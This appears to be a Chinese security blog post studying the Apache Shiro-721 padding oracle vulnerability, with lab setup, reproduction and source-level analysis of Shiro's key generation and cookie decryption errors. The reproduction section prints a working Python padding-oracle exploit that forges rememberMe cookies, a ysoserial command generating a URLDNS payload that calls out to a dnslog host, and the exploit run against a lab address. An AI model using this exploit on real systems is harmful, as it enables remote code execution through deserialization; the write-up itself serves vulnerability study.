Java反序列化Shiro篇02-Shiro721流程分析
Drunkbaby Lv6

Shiro721流程分析

0x01 前言

本来早该学习的洞,一直拖着了,拖到了现在,发现面试必考,还是想着早补早安心。

在 Shiro550 漏洞中,Cookie 所使用的 AES 加密密钥为硬编码,所以我们可以构造恶意序列化数据并使用固定的 AES 密钥进行正确加密恶意序列发送给服务端,进而达到攻击的目的。但在该漏洞公布后,Shiro 官方修复了这一漏洞,将AES密钥修改成了动态生成。也就是说,对于每一个 Cookie,都是使用不同的密钥进行加解密的。

0x02 环境搭建

先下载对应的 jar 包 samples-web-1.4.1.war,将 jar 包里面的内容解压一下,samples-web-1.4.1\WEB-INF\lib 中的 CommonsCollections 包版本修改为 3.2.1

接着新建项目包,选中 web-app 的 maven arch,将 samples-web-1.4.1 的包解压,放到 webapp 文件夹中,项目结构如图

再把 WEB-INF\lib 加入 project structure 中

之后再配 Tomcat 即可,如果不想自己搭建环境的话可以用我现成的环境https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/shiro721

0x03 漏洞复现

漏洞利用前提条件

漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1

Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:

  • 开启 rememberMe 功能;
  • rememberMe 值使用 AES-CBC 模式解密;
  • 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
  • 密文可控;

漏洞复现

首先正常登录进去,勾选上 rememberMe 选项:

刷新当前页面或访问 /account 页面,获取此时登录成功的 rememberMe 值:

使用 ysoserial 工具生成 URLDNS 验证 payload:

1
java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://5zfnof.dnslog.cn" > payload.class

利用GitHub的exp来进行 Padding Oracle Attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#https://github.com/3ndz/Shiro-721  
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
print('rememberMe cookies:')
print(b64encode(enc))

安装脚本不需要 pip install paddingoracle,直接将 GitHub 项目的 paddingoracle.py 放到同目录即可。

运行该 exp 脚本进行爆破,因为是爆破,所以运行的时间会比较久一些,payload 如下

1
python2 exp.py http://192.168.5.3:8081/shiro721_war/account /COGnLcSO/3cUooGdYVDkQQNHrfZTNY+k0BCXPOmA9L+l7MRr3ZRYyuzDWZPNTSUFmFlkZWG+HJcecRLkdAMuxa43+i/hynQP7cYrDiulXmfTbuKmL8oz9DO9pmpUaumyCU0V3xfyLsv0+o3uYK/8Tlh9Ns+TMng3lMenVclDk3pjL/tPL/gfVFz50SMZw67WgdbG4mBzq0URLXG6d9yqB469ruPeKty5q3yjSfWDvOxJcR2OpUJg6dauiJNqwQwsu3FrkPmUlEAwZtQ/EpS9+74Ey5YVNuq350U00Df4ckmmHURCdRi/847d2dSHNQ80Wsoe4IseBOXabm6CBs+mcb4PWptM//E7CDaY6/UwTOm5yzK8/KSa+RNSXhHkOx4CH9wOyh8peq8bexGtoI1CzkqK54QwFkOzCu/bE9VPDU7ylZil3Xlc5oTDy79BHAZXfOgbUcgSSoV6OoOVG1DC6o6ptRYlFT0KBNjwS+ivFtbbA7kxf2Fq9K4tqxC2QI3 payload.class

最终运行成功会给我们一个 rememberMe cookie 去打

这里我们将爆破生成的 cookie 替换进原本 /account 界面的 cookie 中去,发包,成功打到 DNS

当然也可以使用现成的工具 ShiroExploit.V2.51,输入测试网址以及登录用户的 Cookie

0x04 漏洞分析

这里相关原理可以看鸿哥写的文章 ———— https://goodapple.top/archives/217
我对于漏洞的分析就直接在这基础之上总结一下

Padding Oracle Attack 构造加密数据分析

网上讲的文章大多数都是讲的如何使用 Padding Oracle Attack 来获取明文。但是这种场景在 Apache Shiro Padding Oracle Attack 这个漏洞场景中就不适用了。在这个场景中,我们需要构造恶意加密数据,进行解密后反序列化。

此处内容参考自 https://www.mi1k7ea.com/2020/10/14/%E6%B5%85%E6%9E%90Shiro-Padding-Oracle-Attack%EF%BC%88Shiro721%EF%BC%89

这里简单说下 Padding Oracle Attack 加密数据整体过程:

  1. 选择一个明文 P,用来生成你想要的密文C
  2. 使用适当的 Padding 将字符串填充为块大小的倍数,然后将其拆分为从 1 到 N 的块;
  3. 生成一个随机数据块(C[n] 表示最后一个密文块);
  4. 对于每一个明文块,从最后一块开始:
    1. 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块C[n+1](如果是第一轮则是随机块)组合成的;
    2. 这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;
    3. 在计算完整个块之后,将它与明文块 P[n] 进行XOR一起创建 C[n]
    4. 对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);

简单地说,每一个密文块解密为一个未知值,然后与前一个密文块进行XOR。通过仔细选择前一个块,我们可以控制下一个块解密来得到什么。即使下一个块解密为一堆无用数据,但仍然能被XOR化为我们控制的值,因此可以设置为任何我们想要的值。

漏洞代码分析

密钥生成

在 Shiro550 中,密钥是硬编码,就像下面这样

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

而在 Shiro721 中,密钥的生成方式变为了动态生成

1
2
3
4
5
6
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

我们可以跟进调试一下,断点下在 org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey() 下,shiro 通过 generateNewKey() 方法获取密钥,跟进

这里获取到了一个随机数生成器 SecureRandom, 跟进 init()

往下看,这里 var4 是 AESKeyGenerator,跟进 engineInit() 方法,进行了 AES 算法的初始化。

回到 org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(),跟进 generateKey() 方法

这里需要手动在 com.sun.crypto.provider.AESKeyGenerator#engineGenerateKey() 方法下个断点,不然不会停在这里。

可见这里已经生成了一串16字节的随机序列,并且返回一个 SecretKeySpec 对象,再使用getEncoded() 方法获取 key 密钥序列。

至此就是 Shiro721 完整的密钥生成过程。

在 shiro721 中的 Padding Oracle Attack

要成功进行 Padding Oracle Attack 是需要服务端返回两个不同的响应特征来进行 Bool 判断的。

在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:

  • Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回 rememberMe=deleteMe
  • Padding Oracle 正确时,服务端返回正常的响应报文内容;

我们可以通过响应头来判断明文填充是否正确,进而爆破出中间值。那么对于解密不正确的 Cookie,Shiro 是怎么处理的呢?

Padding 错误处理

解密函数在 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()

跟进 cipherService.decrypt(),最后到 crypt() 中调用 doFinal() 方法

doFinal() 方法有 IllegalBlockSizeExceptionBadPaddingException 这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到 crypt() 方法中,最终被 getRememberedPrincipals() 方法捕获,并执行 onRememberedPrincipalFailure() 方法。

onRememberedPrincipalFailure() 方法调用了 forgetIdentity()。在 Shiro550 中我们分析过,该方法会调用 removeFrom(),并且会在response头部添加字段 Set-Cookie: rememberMe=deleteMe

倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe 。

Padding正确,反序列化处理

CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。

Shiro中关于反序列化的处理在 org.apache.shiro.io.DefaultSerializer#deserialize() 方法下

如果反序列化的结果错误,则会抛出异常。最后异常仍会被 getRememberedPrincipals() 方法处理。这也就是上面讲的 response 包里会回显 302 且 rememberMe=deleteMe

但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。我们可以来测试一下。

我们获取正常用户的 Cookie 并使用密钥解密,可以看到最后填充的数据为 0x0B

下面我们将其更改为其他合法填充方式,然后加密发送出去

服务器端正常响应,于是这里就构造出了布尔条件

  • Padding 正确,服务器正常响应
  • Padding 错误,服务器返回 Set-Cookie: rememberMe=deleteMe

0x05 小结

感觉从利用上来说并不算是一个很好打的漏洞,不过还是拓展了一条 CBC 攻击的路线。

0x06 Reference

https://www.mi1k7ea.com/2020/10/14/%E6%B5%85%E6%9E%90Shiro-Padding-Oracle-Attack%EF%BC%88Shiro721%EF%BC%89/
https://goodapple.top/archives/261

 评论